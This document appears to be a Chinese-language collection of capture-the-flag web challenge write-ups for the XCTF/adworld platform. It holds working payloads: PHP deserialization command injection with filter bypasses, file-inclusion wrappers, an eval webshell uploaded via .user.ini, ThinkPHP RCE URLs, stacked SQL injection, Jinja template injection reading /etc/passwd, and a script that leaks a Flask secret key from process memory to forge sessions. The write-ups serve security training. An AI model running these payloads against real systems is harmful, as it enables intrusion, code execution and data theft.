1.难度一

1.unseping-NO.GFSJ1061

<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
#回调函数
#第一个参数是函数名,第二个参数是参数
#第一个参数是ping,第二个参数是执行命令
call_user_func_array(array($this, $this->method), $this->args);
}
}
#命令执行函数
function ping($ip){
exec($ip, $result);
var_dump($result);
}

function waf($str){
#匹配str中的关键信息
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

function __wakeup(){
//循环遍历args数组,对args的每个值都调用waf函数过一遍
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

#POST方式传入ctf
#对ctf进行反序列化
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

ease类有2个参数method和args

传入ctf字符串后
ctf字符串->base64解码->__construct构造函数->__wakeup调用waf函数过滤str->__destruct->调用ping函数,通过ease执行命令

构造字符串测试

<?php
highlight_file(__FILE__);

class ease{

private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}

$a = new ease("ping",array("ifconfig"));
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>

结果成功执行ifconfig:

由于屏蔽ls
则使用单引号绕过

$a = new ease("ping",array("l's'"));

查看flag_1s_here文件夹下的内容

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));

此处屏蔽空格,使用${IFS}绕过,由于双引号会解析${}中的内容,所以使用单引号构造字符串

用cat查看flag_1s_here下的php文件
由于/被屏蔽
使用printf绕过

printf(字符串进制绕过)
linux下可以用``执行命令
从而构造

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here`printf${IFS}"\57"`f""lag_831b69012c67b35f.p""hp'));

拿到key

2.file_include-NO.GFSJ1060

<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

让filename=flag.php发现没有回显
尝试用伪协议读取

filename=php://filter/read=convert.base64-encode/resource=flag.php

回显do not hack 推测出有关键词被屏蔽
经过测试,发现为read,base64,encode
convert.base64-encode是对内容编码操作,替换为其他不带有encode的过滤器
例如使用压缩过滤器convert.iconv.**
convert.iconv.<input-encoding><output-encoding>

filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

3.easyphp-NO.GFSJ1059

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

#a的值大于6000000并且a的长度小于等于3
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
#b需要满足md5的值的截取部分等于8b184b
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
#c是传入的一个json数组
$c=(array)json_decode(@$_GET['c']);
#c的m不是数字且其值大于2022
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
#c的n也是一个数组,有两个元素,c的n的第一个元素也是一个数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
#$d不能是false所以能在c的n数组中找到DGGJ
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
#n中值不能为DGGJ
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?> Emmm...

a
用1e9即可绕过

b
编写脚本爆破

<?php
$i = 1;
while ($i < 100000){
$a = (string)$i;
$b = md5($a);
if (substr($b,-6,6) == '8b184b'){
echo $b.'<br />';
echo $a.'<br />';
}
$i = $i+1;
}

$md = "end";
echo $md;
?>


爆破出b为53724

C
1.m
字符串与整形比大小会将字符串强行转为整形
114514a =》 114514 > 2022
2.n
题目内既要求有DGGJ又要求没有DGGJ,所以需要绕过
array_search函数是可以绕过的,在与数字进行匹配,字符串会被强制转换为数字,DGGJ会被转换为0,所以n的第二个元素为整数0
第一个元素没有要求只要是数组随便写

所以C = {m:”114514a”;n:[[1],0]}
综上

http://61.147.171.105:54204/?a=1e9&b=53724&c={%22m%22:%22114514a%22,%22n%22:[[1],0]}

4.fileinclude-NO.GFSJ1010

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}

需要传入被包含的file1,file1=flag.php
需要传入file2, file_get_contents($file2)值等于hello ctf
则想到用php://input,post的值为hello ctf
返回

尝试file1使用伪协议读取flag,成功返回结果

解密后得到key

5.easyupload-NO.GFSJ1005

尝试上传了一张图片,发现返回图片地址,可直接访问
尝试上传木马,抓包多次排查发现过滤了php,php1-9,.htaccess

后端验证,尝试使用user.ini文件
.user.ini是php.ini补充文件,当网页访问时会自动查看当前目录下是否有user.ini, 将其补充进php.ini
很多功能只能php.ini设置,但是有些危险功能也能通过user.ini配置

auto_prepend_file 用于指定一个每个php脚本执行前自动包含的文件
我们可以先传入.user.ini文件

auto_prepend_file=test.jpg

抓包上传发现上传失败,尝试改Content-Type和文件头

发现上传成功
新建test.jpg

GIF89a
<?=eval($_POST['pass']); ?>

F12查看文件上传路径

http://61.147.171.105:54702/uploads/index.php

蚁剑连接,在目录下拿到key

.user.ini应用比.htaccess更广,只要以fastcgi运行的php都可以

6.fileinclude-NO.GFSJ1007

ctrl+U得到源码

<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

需要传入其中language参数用于构造被包含文件
尝试language=flag发现无回显
尝试使用伪协议

Cookie: language=php://filter/read=convert.base64-encode/resource=flag


得到base64编码字符串
解码后得到flag

7.inget-NO.GFSJ1004

输入参数id尝试登录,
猜测为单引号闭和,构造?id=1’ or ‘1’=’1
使语句为真成功绕过得到flag

8.unserialize3-NO.GFSJ0235

根据题意生成对应序列化字符串

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>

再讲变量数+1绕过__wakeup函数得到flag

9.ics-06-NO.GFSJ0333

访问报表中心,抓包爆破
发现访问id=2333页面时有flag

10.PHP2-NO.GFSJ0234

自动访问index.php
通过访问index.phps获取源码

<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

进行url编码即可得到flag

http://61.147.171.105:60123/index.php/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

11.baby_web-NO.GFSJ0712

f12->networks查看到请求头中有flag

12.Training-WWW-Robots-NO.GFSJ0162

访问robots.txt后访问f10g.php即可获得flag

13.simple_php-NO.GFSJ0485

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
#a值为0且and自己总值为真
if($a==0 and $a){
echo $flag1;
}
#b不是数字
if(is_numeric($b)){
exit();
}
#b值比1234大
if($b>1234){
echo $flag2;
}
?>

a为字符串0即可
字符串和数字比较会发生强制转换
b=12345aaa即可获取flag

14.weak_auth-NO.GFSJ0482

admin 123456登录获取flag

15.get_post-NO.GFSJ0475

按照指示传入对应值即可获取flag

16.disabled_button-NO.GFSJ0479

f12把disabled=”” 删除
点击按钮即可获取flag

抓包发现cookie的值为cookie.php
访问后查看返回包即可获得flag

18.backup-NO.GFSJ0477

访问index.php.bak下载备份文件,得到flag

19.robots-NO.GFSJ0476

直接访问robots.txt发现
Disallow: f1ag_1s_h3re.php
直接访问得到flag

20.view_source-NO.GFSJ0474

ctrl+U查看源码/ f12查看源码得到flag

2.难度二

1.command_execution-NO.GFSJ0484

ping 127.0.0.1 & pwd 返回/var/www/html
&没被过滤,进一步找flag

ping 127.0.0.1 & find / -name flag*
发现存在/home/flags.txt

直接查看得到flag

2.xff_referer-NO.GFSJ0481

ip地址必须为123.123.123.123

X-Forwarded-For: 123.123.123.123

必须来自google

Referer: https://www.google.com

3.php_rce-NO.GFSJ0713

thinkphp-v5.0存在rce漏洞
查相关文献复现即可
回调函数+system函数执行命令

http://61.147.171.105:58546/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

查找flag

http://61.147.171.105:58546/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20flag*

发现存在/flag
查看即可

http://61.147.171.105:58546/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

4.Web_php_include-NO.GFSJ0716

<?php
show_source(__FILE__);
#get传入hello
echo $_GET['hello'];
#get传入page
$page=$_GET['page'];
#查找page中是否有php://,有的话就返回php://和后面的内容
while (strstr($page, "php://")) {
#将php://替换为空
$page=str_replace("php://", "", $page);
}
#文件包含$page
include($page);
?>

发现过滤php://
尝试用data://流绕过

http://61.147.171.105:49769/?hello=123&page=data://text/plain,%3C?php%20phpinfo()?%3E

执行ls发现存在fl4gisisish3r3.php

http://61.147.171.105:49769/?hello=123&page=data://text/plain,%3C?php%20eval(system(%27ls%27));%20?%3E

cat被屏蔽,使用tac成功查看

http://61.147.171.105:49769/?hello=123&page=data://text/plain,%3C?php%20eval(system(%27tac%20fl4gisisish3r3.php%27));%20?%3E

5.upload1-NO.GFSJ0236

前端校验,关闭js上传即可,
返回的结果是 时间戳+’.’+文件名
将文件名改成php

上传后访问返回链接执行命令,传木马上去却报错
syntax error, unexpected end of file in /var/www/html/upload/1691297398.a.php(1) : eval()’d code on line 1

直接传命令文件

<?php system('find / -name flag*') ?>

返回结果里有/var/www/html/flag.php

<?php system('tac /var/www/html/flag.php') ?>

访问结果直接得到flag

6.warmup-NO.GFSJ0743

查看源码发现注释里有source.php
直接访问,得到源码

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
#白名单中存在两组键值对
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
#page为不空字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
#如果page在白名单里返回真
if (in_array($page, $whitelist)) {
return true;
}

#截取page,从第一位开始截取到第一个?所在位
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
#截取后的结果如果在白名单,返回为真
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
#file不为空
if (! empty($_REQUEST['file'])
#file是字符串
&& is_string($_REQUEST['file'])
#执行checkFile函数结果为真
&& emmm::checkFile($_REQUEST['file'])
) {
#文件包含file
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

审完代码发现有hint.php
访问得知:flag not here, and flag in ffffllllaaaagggg

在url中使用../的时候 ../最前面随便写什么都行,只返回../最后面的文件数据。
所以只要满足多个../即可退回根目录,再查看根目录下的ffffllllaaaagggg
白名单文件+‘?’+../../../../../../../../ffffllllaaaagggg

http://61.147.171.105:55257/source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg

7.NewCenter-NO.GFSJ0100

环境一直报错,先跳过
可参考文章:https://blog.csdn.net/m0_62619559/article/details/121256876

8.Web_php_unserialize-NO.GFSJ0710

<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
#传入var
if (isset($_GET['var'])) {
# 先对varbase64解码
$var = base64_decode($_GET['var']);
#匹配
# o/c : 1个或多个数字 且忽略大小写
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
#对var进行返学劣化
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

O:数字和C:数字被过滤
绕过方法: O:+4

$a = new Demo('fl4g.php');
$b = serialize($a);
$c = str_replace(":4:",":+4:",$b);
$c = str_replace(":1:",":2:",$c);
echo $c.'<br />';
echo base64_encode($c);

得到flag

9.supersqli-NO.GFSJ0718

报错注入正常

http://61.147.171.105:59473/?inject=1%27%20and%20extractvalue(1,concat(0x7e,database(),0x7e))%20and%20%271%27=%271

爆出库名supersqli
想继续爆破,发现select ,where,. 都被过滤,猜测使用mysql语句,使用堆叠注入
查看库名

1';show databases;#

查看表名

1';show tables;#


查列名

1';show columns from words;#

1';show columns from `1919810931114514`;#

因为无法使用select语句将内容取出,只能借助题目中查数据所使用的select语句
猜测原select语句

select * from words where id='';

可以通过将words表改成其他的名字
将1919810931114514的臭表(bushi)名称改成words
再把flag列名改为id
这样通过1’ or ‘1’=’1 即可把1919810931114514表里的所有内容取出

1';
rename table `words` to `other`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#

此时通过

1' or '1'='1

成功取出key

10.web2-NO.GFSJ0627

function encode($str){
    #将str反转
    $_o=strrev($str);
    echo $_o;
    #遍历$_o每一个元素
    for($_0=0;$_0<strlen($_o);$_0++){
        #截取$_o的每一位
        $_c=substr($_o,$_0,1);
        #将$_c转变为ASCII再加1
        $__=ord($_c)+1;
        #将$__转回字符
        $_c=chr($__);
        #将转变后的字符再次拼接成字符串
        $_=$_.$_c;  
    }
    #ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到
    #strrev是反转
    return str_rot13(strrev(base64_encode($_)));
}

初始字符串 ->反转->每一位向前移动1个字母->base64编码->反转->每一位向前移动13个字母。

逆向:
结果->每一位向后移动13个字母->反转->base64解码->每一位向后移动一个字母->反转。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。字母一共有26个,所以执行了str_rot13的内容,再执行一次str_rot13即可恢复。

function decode($str){
    $_ = str_rot13($str);
    $t = strrev($_);
    $_ = base64_decode($t);
    for($a0=0;$a0<strlen($_);$a0++){
        #截取$_o的每一位
        $_d=substr($_,$a0,1);
        #将$_c转变为ASCII再加1
        $_1=ord($_d)-1;
        #将$__转回字符
        $_d=chr($_1);
        #将转变后的字符再次拼接成字符串
        $r=$r.$_d;  
    }
    $result = strrev($r);
    echo $result.'<br />';
}

得到flag

11.Web_python_template_injection-NO.GFSJ0709

参考文章:https://blog.csdn.net/Myon5/article/details/130072619

python模块注入

模板引擎让网站实现界面与数据分离
注入模板可能会导致RCE,XSS
jinja模板中{{}}是变量包裹符号
{{}}支持传入变量,也支持一些表达式
flask的模板渲染函数 render_template_string不正确使用会引发ssti

a.ssti魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类(__base__和__mro__都是用来寻找基类的)
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins就是引用

b.获取基类方法
[].__class__.__base__
‘’.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   
[].__class__.__bases__[0]
获取基本类的子类
[].__class__.__base__.__subclasses__()

1.测试是否存在模板注入

发现1+1被执行

2.首先查找Object类

http://61.147.171.105:63090/%7B%7B''.__class__.__mro__[2]%7D%7D

发现是Object类

3.寻找object类的子类

http://61.147.171.105:63090/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D


利用<type ‘file’>数下来是第四十一个,索引从0开始
即’’.__class__.__base__.__subclasses__()[40]

4.尝试读取文件

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

成功读取

尝试读取./flag /flag均失败
寻找可执行命令的类
<class ‘site._Printer’> 可用于执行命令

5.借助site._Printer执行命令
数出来是第72个,执行ls

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

6.再借助file类读取fl4g即可

http://61.147.171.105:64350/%7B%7B[].__class__.__base__.__subclasses__()[40]('fl4g').read()%7D%7D

12.catcatnew-NO.GFSJ1168

潮汐指纹=>网站由python编写
|中间件|Werkzeug/2.2.2 Python/3.7.12
推测是flask框架

读取app.py文件

http://61.147.171.105:58061/info?file=../app.py
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

想要访问到flag,需要访问/admin并且传入session中的参数 admin=1
但是session要自己伪造

看wp了解到

  1. python存储对象的位置在堆上
  2. app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY
  3. 不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值
    大佬的读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本
# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:60014/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key

class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
#Encode a Flask session cookie
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#-------------------------------------------



#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break

#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
"Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")